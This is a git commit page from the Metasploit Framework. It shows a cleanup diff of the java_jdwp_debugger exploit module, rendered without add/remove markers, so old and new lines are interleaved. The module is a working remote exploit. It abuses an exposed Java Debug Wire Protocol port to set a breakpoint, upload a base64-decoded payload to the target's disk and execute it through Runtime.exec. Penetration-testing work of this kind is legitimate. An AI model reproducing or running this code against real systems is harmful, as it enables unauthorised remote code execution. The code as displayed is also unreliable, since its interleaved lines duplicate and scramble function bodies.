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metasploit-framework
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Do some easy cleaning

bug/bundler_fix
jvazquez-r7 2014-06-04 13:18:59 -05:00
parent 1ff539fc73
commit 33a7bc64fa
1 changed files with 49 additions and 199 deletions
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214
modules/exploits/multi/misc/java_jdwp_debugger.rb
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@ -309,11 +309,7 @@ class Metasploit3 < Msf::Exploit::Remote
# Gets the sizes of variably-sized data types in the target VM
def idsizes
sock.put(create_packet(IDSIZES_SIG))
response = read_reply(datastore['RESPONSE_TIMEOUT'])
def get_sizes
formats = [
["I", "fieldid_size"],
["I", "methodid_size"],
@ -321,21 +317,15 @@ class Metasploit3 < Msf::Exploit::Remote
["I", "referencetypeid_size"],
["I", "frameid_size"]
]
sock.put(create_packet(IDSIZES_SIG))
response = read_reply(datastore['RESPONSE_TIMEOUT'])
entries = parse_entries(response, formats, false)
entries.each { |e| @vars.merge!(e) }
end
# Gets the JDWP version implemented by the target VM
def get_version
sock.put(create_packet(VERSION_SIG))
response = read_reply(datastore['RESPONSE_TIMEOUT'])
formats = [
["S", "descr"],
["I", "jdwp_major"],
@ -343,49 +333,40 @@ class Metasploit3 < Msf::Exploit::Remote
["S", "vm_version"],
["S", "vm_name"]
]
sock.put(create_packet(VERSION_SIG))
response = read_reply(datastore['RESPONSE_TIMEOUT'])
entries = parse_entries(response, formats, false)
entries.each { |e| @vars.merge!(e) }
end
def version
return "#{@vars["vm_name"]} - #{@vars["vm_version"]}"
"#{@vars["vm_name"]} - #{@vars["vm_version"]}"
end
# Returns reference types for all classes currently loaded by the target VM
def get_all_classes
return unless @classes.empty?
sock.put(create_packet(ALLCLASSES_SIG))
response = read_reply(datastore['RESPONSE_TIMEOUT'])
formats = [
["C", "reftype_tag"],
[@vars["referencetypeid_size"], "reftype_id"],
["S", "signature"],
["I", "status"]
]
print_status("#{peer} - Parsing list of classes...")
sock.put(create_packet(ALLCLASSES_SIG))
response = read_reply(datastore['RESPONSE_TIMEOUT'])
@classes.append(parse_entries(response, formats))
end
# Checks if specified class is currently loaded by the target VM and returns it
def get_class_by_name(name)
@classes.each do |entry_array|
entry_array.each do |entry|
return entry if entry["signature"].downcase == name.downcase
if entry["signature"].downcase == name.downcase
return entry
end
end
end
@ -395,14 +376,9 @@ class Metasploit3 < Msf::Exploit::Remote
# Returns information for each method in a reference type (ie. object). Inherited methods are not included.
# The list of methods will include constructors (identified with the name "<init>")
def get_methods(reftype_id)
unless @methods.has_key?(reftype_id)
refid = format(@vars["referencetypeid_size"],reftype_id)
sock.put(create_packet(METHODS_SIG, refid))
response = read_reply(datastore['RESPONSE_TIMEOUT'])
if @methods.has_key?(reftype_id)
return @methods[reftype_id]
end
formats = [
[@vars["methodid_size"], "method_id"],
@ -410,17 +386,14 @@ class Metasploit3 < Msf::Exploit::Remote
["S", "signature"],
["I", "mod_bits"]
]
ref_id = format(@vars["referencetypeid_size"],reftype_id)
sock.put(create_packet(METHODS_SIG, ref_id))
response = read_reply(datastore['RESPONSE_TIMEOUT'])
@methods[reftype_id] = parse_entries(response, formats)
end
return @methods[reftype_id]
end
# Checks if specified method is currently loaded by the target VM and returns it
def get_method_by_name(classname, name, signature = nil)
@methods[classname].each do |entry|
if signature.nil?
return entry if entry["name"].downcase == name.downcase
@ -435,27 +408,20 @@ class Metasploit3 < Msf::Exploit::Remote
# Checks if specified class and method are currently loaded by the target VM and returns them
def get_class_and_method(looked_class, looked_method, signature = nil)
target_class = get_class_by_name(looked_class)
fail_with(Failure::Unknown, "Class \"#{looked_class}\" not found") unless target_class
get_methods(target_class["reftype_id"])
target_method = get_method_by_name(target_class["reftype_id"], looked_method, signature)
fail_with(Failure::Unknown, "Method \"#{looked_method}\" not found") unless target_method
return target_class, target_method
end
# Transform string contaning class and method(ie. from "java.net.ServerSocket.accept" to "Ljava/net/Serversocket;" and "accept")
def str2fqclass(s)
i = s.rindex(".")
fail_with(Failure::BadConfig, 'Bad defined break class') unless i
method = s[i+1..-1] # Subtr of s, from last '.' to the end of the string
@ -465,7 +431,6 @@ class Metasploit3 < Msf::Exploit::Remote
classname << ';'
return classname, method
end
@ -480,34 +445,25 @@ class Metasploit3 < Msf::Exploit::Remote
# Sets an event request. When the event described by this request occurs, an event is sent from the target VM
def send_event(event_code, args)
data = [event_code].pack('C')
data << [SUSPEND_ALL].pack('C')
data << [args.length].pack('N')
args.each do |kind,option|
data << [kind].pack('C')
data << option
end
sock.put(create_packet(EVENTSET_SIG, data))
response = read_reply(datastore['RESPONSE_TIMEOUT'])
fail_with(Exploit::Failure::Unknown, "No network response") unless response
return response.unpack('N')[0]
end
# Waits user defined time for an event sent from the target VM (or force event if possible)
def wait_for_event
force_net_event unless datastore['BREAKPOINT_PORT'].nil? || (datastore['BREAKPOINT_PORT'] == 0)
buf = read_reply(datastore['BREAK_TIMEOUT'])
return buf
@ -516,12 +472,8 @@ class Metasploit3 < Msf::Exploit::Remote
# Force a network event for hitting breakpoint when object of debugging is a network app and break class is socket
def force_net_event
print_status("#{peer} - Forcing network event over #{datastore['BREAKPOINT_PORT']}")
print_status("#{rhost}")
print_status("#{datastore['BREAKPOINT_PORT']}")
rex_socket = Rex::Socket::Tcp.create(
'PeerHost' => rhost,
'PeerPort' => datastore['BREAKPOINT_PORT'],
@ -531,23 +483,19 @@ class Metasploit3 < Msf::Exploit::Remote
rex_socket.shutdown
rex_socket.close
print_status("BYE force_net_event")
end
# Parses a received event and compares it with the expected
def parse_event_breakpoint(buf, event_id)
r_id = buf[6..9].unpack('N')[0]
return nil unless event_id == r_id
len = @vars["objectid_size"]
t_id = unformat(len,buf[10..10+len-1])
return r_id, t_id
end
@ -555,9 +503,7 @@ class Metasploit3 < Msf::Exploit::Remote
def clear_event(event_code, r_id)
data = [event_code].pack('C')
data << [r_id].pack('N')
sock.put(create_packet(EVENTCLEAR_SIG, data))
read_reply(datastore['RESPONSE_TIMEOUT'])
end
@ -565,78 +511,57 @@ class Metasploit3 < Msf::Exploit::Remote
# Invokes a static method. The method must be member of the class type or one of its superclasses,
# superinterfaces, or implemented interfaces. Access control is not enforced; for example, private methods can be invoked.
def invoke_static(class_id, thread_id, meth_id, args = [])
data = format(@vars["referencetypeid_size"], class_id)
data << format(@vars["objectid_size"], thread_id)
data << format(@vars["methodid_size"], meth_id)
data << [args.length].pack('N')
args.each do |arg|
data << arg
data << [0].pack('N')
end
sock.put(create_packet(INVOKESTATICMETHOD_SIG, data))
buf = read_reply(datastore['RESPONSE_TIMEOUT'])
return buf
buf
end
# Invokes a instance method. The method must be member of the object's type or one of its superclasses,
# superinterfaces, or implemented interfaces. Access control is not enforced; for example, private methods can be invoked.
def invoke(obj_id, thread_id, class_id, meth_id, args = [])
data = format(@vars["objectid_size"], obj_id)
data << format(@vars["objectid_size"], thread_id)
data << format(@vars["referencetypeid_size"], class_id)
data << format(@vars["methodid_size"], meth_id)
data << [args.length].pack('N')
args.each do |arg|
data << arg
data << [0].pack('N')
end
sock.put(create_packet(INVOKEMETHOD_SIG, data))
buf = read_reply(datastore['RESPONSE_TIMEOUT'])
return buf
buf
end
# Creates a new object of specified class, invoking the specified constructor. The constructor method ID must be a member of the class type.
def create_instance(class_id, thread_id, meth_id, args = [])
data = format(@vars["referencetypeid_size"], class_id)
data << format(@vars["objectid_size"], thread_id)
data << format(@vars["methodid_size"], meth_id)
data << [args.length].pack('N')
args.each do |arg|
data << arg
data << [0].pack('N')
end
sock.put(create_packet(CREATENEWINSTANCE_SIG, data))
buf = read_reply(datastore['RESPONSE_TIMEOUT'])
return buf
buf
end
@ -651,7 +576,6 @@ class Metasploit3 < Msf::Exploit::Remote
# Configures payload according to targeted architecture
def setup_payload
# 1. Setting up generic values.
payload_exe = rand_text_alphanumeric(4 + rand(4))
pl_exe = generate_payload_exe
@ -668,199 +592,137 @@ class Metasploit3 < Msf::Exploit::Remote
fail_with(Failure::NoTarget, 'Unsupported target platform')
end
return payload_exe, pl_exe
end
# Invokes java.lang.System.getProperty() for OS fingerprinting purposes
def fingerprint_os(thread_id)
size = @vars["objectid_size"]
# 1. Creates a string on target VM with the property to be getted
cmd_obj_ids = create_string("os.name")
fail_with(Failure::Unknown, "Failed to allocate string for payload dumping") if cmd_obj_ids.length == 0
cmd_obj_id = cmd_obj_ids[0]["obj_id"]
# 2. Gets property
data = [TAG_OBJECT].pack('C')
data << format(size, cmd_obj_id)
data_array = [data]
runtime_class , runtime_meth = get_class_and_method("Ljava/lang/System;", "getProperty")
buf = invoke_static(runtime_class["reftype_id"], thread_id, runtime_meth["method_id"], data_array)
fail_with(Failure::UnexpectedReply, "Unexpected returned type: expected String") unless buf[0] == [TAG_STRING].pack('C')
str = unformat(size, buf[1..1+size-1])
@os = solve_string(format(@vars["objectid_size"],str))
end
# Creates a file on the server given a execution thread
def create_file(thread_id, filename)
cmd_obj_ids = create_string(filename)
fail_with(Failure::Unknown, "Failed to allocate string for filename") if cmd_obj_ids.length == 0
cmd_obj_id = cmd_obj_ids[0]["obj_id"]
size = @vars["objectid_size"]
data = [TAG_OBJECT].pack('C')
data << format(size, cmd_obj_id)
data_array = [data]
runtime_class , runtime_meth = get_class_and_method("Ljava/io/FileOutputStream;", "<init>", "(Ljava/lang/String;)V")
buf = create_instance(runtime_class["reftype_id"], thread_id, runtime_meth["method_id"], data_array)
fail_with(Failure::UnexpectedReply, "Unexpected returned type: expected Object") unless buf[0] == [TAG_OBJECT].pack('C')
file = unformat(size, buf[1..1+size-1])
fail_with(Failure::Unknown, "Failed to create file. Try to change the TMP_PATH") if file.nil? || (file == 0)
register_files_for_cleanup(filename)
return file
file
end
# Stores the payload on a new string created in target VM
def upload_payload(thread_id, pl_exe)
size = @vars["objectid_size"]
runtime_class , runtime_meth = get_class_and_method("Lsun/misc/BASE64Decoder;", "<init>")
buf = create_instance(runtime_class["reftype_id"], thread_id, runtime_meth["method_id"])
fail_with(Failure::UnexpectedReply, "Unexpected returned type: expected Object") unless buf[0] == [TAG_OBJECT].pack('C')
decoder = unformat(size, buf[1..1+size-1])
fail_with(Failure::Unknown, "Failed to create Base64 decoder object") if decoder.nil? || (decoder == 0)
cmd_obj_ids = create_string("#{Rex::Text.encode_base64(pl_exe)}")
fail_with(Failure::Unknown, "Failed to allocate string for payload dumping") if cmd_obj_ids.length == 0
cmd_obj_id = cmd_obj_ids[0]["obj_id"]
data = [TAG_OBJECT].pack('C')
data << format(size, cmd_obj_id)
data_array = [data]
runtime_class , runtime_meth = get_class_and_method("Lsun/misc/CharacterDecoder;", "decodeBuffer", "(Ljava/lang/String;)[B")
buf = invoke(decoder, thread_id, runtime_class["reftype_id"], runtime_meth["method_id"], data_array)
fail_with(Failure::UnexpectedReply, "Unexpected returned type: expected ByteArray") unless buf[0] == [TAG_ARRAY].pack('C')
pl = unformat(size, buf[1..1+size-1])
return pl
pl
end
# Dumps the payload on a opened server file given a execution thread
def dump_payload(thread_id, file, pl)
size = @vars["objectid_size"]
data = [TAG_OBJECT].pack('C')
data << format(size, pl)
data_array = [data]
runtime_class , runtime_meth = get_class_and_method("Ljava/io/FileOutputStream;", "write", "([B)V")
buf = invoke(file, thread_id, runtime_class["reftype_id"], runtime_meth["method_id"], data_array)
fail_with(Failure::Unknown, "Exception ocurred when writing to file") unless buf[0] == [TAG_VOID].pack('C')
end
# Closes a file on the server given a execution thread
def close_file(thread_id, file)
size = @vars["objectid_size"]
runtime_class , runtime_meth = get_class_and_method("Ljava/io/FileOutputStream;", "close")
buf = invoke(file, thread_id, runtime_class["reftype_id"], runtime_meth["method_id"])
fail_with(Failure::Unknown, "Exception ocurred when closing file") unless buf[0] == [TAG_VOID].pack('C')
end
# Executes a system command on target VM making use of java.lang.Runtime.exec()
def execute_command(thread_id, cmd)
size = @vars["objectid_size"]
# 1. Creates a string on target VM with the command to be executed
cmd_obj_ids = create_string(cmd)
fail_with(Failure::Unknown, "Failed to allocate string for payload dumping") if cmd_obj_ids.length == 0
cmd_obj_id = cmd_obj_ids[0]["obj_id"]
# 2. Gets Runtime context
runtime_class , runtime_meth = get_class_and_method("Ljava/lang/Runtime;", "getRuntime")
buf = invoke_static(runtime_class["reftype_id"], thread_id, runtime_meth["method_id"])
fail_with(Failure::UnexpectedReply, "Unexpected returned type: expected Object") unless buf[0] == [TAG_OBJECT].pack('C')
rt = unformat(size, buf[1..1+size-1])
fail_with(Failure::Unknown, "Failed to invoke Runtime.getRuntime()") if rt.nil? || (rt == 0)
# 3. Finds and executes "exec" method supplying the string with the command
exec_meth = get_method_by_name(runtime_class["reftype_id"], "exec")
fail_with(Failure::BadConfig, "Cannot find method Runtime.exec()") if exec_meth.nil?
data = [TAG_OBJECT].pack('C')
data << format(size, cmd_obj_id)
data_array = [data]
buf = invoke(rt, thread_id, runtime_class["reftype_id"], exec_meth["method_id"], data_array)
fail_with(Failure::UnexpectedReply, "Unexpected returned type: expected Object") unless buf[0] == [TAG_OBJECT].pack('C')
end
# Sets a breakpoint on frequently called method (user-defined)
def set_breakpoint
vprint_status("#{peer} - Setting breakpoint on class: #{datastore['BREAKPOINT']}")
# 1. Gets reference of the method where breakpoint is going to be setted
classname, method = str2fqclass(datastore['BREAKPOINT'])
break_class = get_class_by_name(classname)
fail_with(Failure::NotFound, "Could not access #{datastore['BREAKPOINT']}, probably is not used by the application") unless break_class
get_methods(break_class["reftype_id"])
m = get_method_by_name(break_class["reftype_id"], method)
fail_with(Failure::BadConfig, "Method of Break Class not found") unless m
# 2. Sends event request for this method
@ -870,18 +732,15 @@ class Metasploit3 < Msf::Exploit::Remote
loc << [0,0].pack('NN')
data = [[MODKIND_LOCATIONONLY, loc]]
r_id = send_event(EVENT_BREAKPOINT, data)
fail_with(Failure::Unknown, "Could not set the breakpoint") unless r_id
return r_id
r_id
end
# Uploads & executes the payload on the target VM
def exec_payload(thread_id)
# 0. Fingerprinting OS
fingerprint_os(thread_id)
@ -909,12 +768,10 @@ class Metasploit3 < Msf::Exploit::Remote
# 6. Executes the dumped payload
cmd = "#{payload_exe}"
execute_command(thread_id, cmd)
end
def exploit
@my_id = 0x01
@vars = {}
@classes = []
@ -927,50 +784,43 @@ class Metasploit3 < Msf::Exploit::Remote
fail_with(Failure::NotVulnerable, "#{peer} - JDWP Protocol not found")
end
# 1. Get the sizes of variably-sized data types in the target VM
idsizes
print_status("#{peer} - Retriving the sizes of variable sized data types in the target VM...")
get_sizes
# 2. Get the version of the target VM
print_status("#{peer} - Getting the version of the target VM...")
get_version
# 3. Get all currently loaded classes by the target VM
print_status("#{peer} - Getting all currently loaded classes by the target VM...")
get_all_classes
# 4. Sets a breakpoint on frequently called method (user-defined)
print_status("#{peer} - Setting a breakpoint on #{datastore['BREAKPOINT']}...")
r_id = set_breakpoint
# 5. Resume VM and wait for event
print_status("#{peer} - Resuming VM and waiting for an event...")
resume_vm
secs = datastore['BREAK_TIMEOUT']
ret = ""
datastore['NUM_RETRIES'].times do |i|
print_status("#{peer} - Waiting for breakpoint hit #{i} during #{secs} seconds...")
buf = wait_for_event
ret = parse_event_breakpoint(buf, r_id)
break unless ret.nil?
end
r_id, t_id = ret
vprint_status("#{peer} - Received matching event from thread #{t_id}")
# 6. Clears event
print_status("#{peer} - Deleting breakpoint...")
clear_event(EVENT_BREAKPOINT, r_id)
# 7. Drop & execute payload
print_status("#{peer} - Dropping and executing payload...")
exec_payload(t_id)
print_status("#{peer} - Resuming the target VM...")
resume_vm
disconnect
end
end